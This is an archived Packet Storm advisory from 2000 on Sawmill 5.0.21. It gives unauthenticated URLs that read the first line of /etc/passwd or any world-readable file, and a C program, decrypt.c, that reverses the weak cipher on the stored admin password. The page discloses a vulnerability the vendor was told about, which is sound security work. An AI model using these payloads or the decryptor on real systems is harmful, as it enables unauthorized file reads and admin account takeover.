exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sawmill-5.0.21.txt

sawmill-5.0.21.txt
Posted Jun 29, 2000
Authored by Larry W. Cashdollar | Site vapid.betteros.org

Sawmill 5.0.21 is a site log statistics package for UNIX, Windows and MacOS which has remote vulnerabilities. Any file on the system can be read, and password is stored with a weak hash algorithm and can be decrypted using the included C program. This is dangerous because the previous security hole will allow you to read the hash and decrypt the admin password.

tags | exploit, remote, vulnerability
systems | windows, unix
SHA-256 | 2c2c58f021857e688f36ad471178bf0306d758fc5829abf90f77a22c58174057

sawmill-5.0.21.txt

Change Mirror Download
Version: Sawmill 5.0.21 
Vendor: Notified. Link: http://www.flowerfire.com/sawmill

lwc@vapid.betteros.org
http://vapid.betteros.org


SawMill is a site log statistics package for UNIX, Windows and MacOS. I
have been evaluating it under Linux.

In my test configuration I have sawmill listening on port 8987 of my
webserver. I noticed two things.

Dangerous.

1) You can get sawmill to read you the first line of any (if run as
nobody) world readable files without needing to authenticate first.

The following will print the first line of /etc/passwd:

http://192.168.1.65:8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3

You can imagine how much more fun this would be if it was launched as
root. Which it should not and does not need to be.


Sawmill can also be run as a cgi script. This method is vulnerable as
well. The following will print the first line of the password file

http://www.example.com/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1


more danger.

2) The password is stored with a weak hash algorithm and can be decrypted
using the attached C program. This is dangerous because the previous
security hole will allow you to read the first line of the
sawmill/SawmillInfo/SawmillPassword decrypt the password and access the
site statistics, reconfigure sawmill. Along with the ability to browse
the remote machines drive contents. If this is being run as root then
the attacker can specify root readonly files as log files and read most if
not all of their contents.


file info: sawmill5.0.21trial_x86_linux.tar.gz

I have notified the vendor and they were very responsive and are currently
working on a fix.


<----------------------------decrypt.c------------------------>

/*
Decrypt password for Sawmill admin account.
Larry W. Cashdollar
lwc@vapid.betteros.org
http://vapid.betteros.org
usage ./decrypt cyphertext
*/

#include <stdio.h>

char *alpha ="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+~<>?:\"{}|";
char *encode="=GeKMNQS~TfUVWXY[abcygimrs\"#$&-]FLq4.@wICH2!oEn}Z%(Ovt{z";

int
main (int argc, char **argv)
{

int x, y;
char cypher[128];

strncpy (cypher, argv[1], 128);

for (x = 0; x < strlen (cypher); x++)
{

for (y = 0; y < strlen (encode); y++)
if (cypher[x] == encode[y])
printf ("%c", alpha[y]);
}
printf("\n");
printf("\n\"+\" could also be a space [ ]\n");
return(0);
}

<----------------------------decrypt.c------------------------>



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close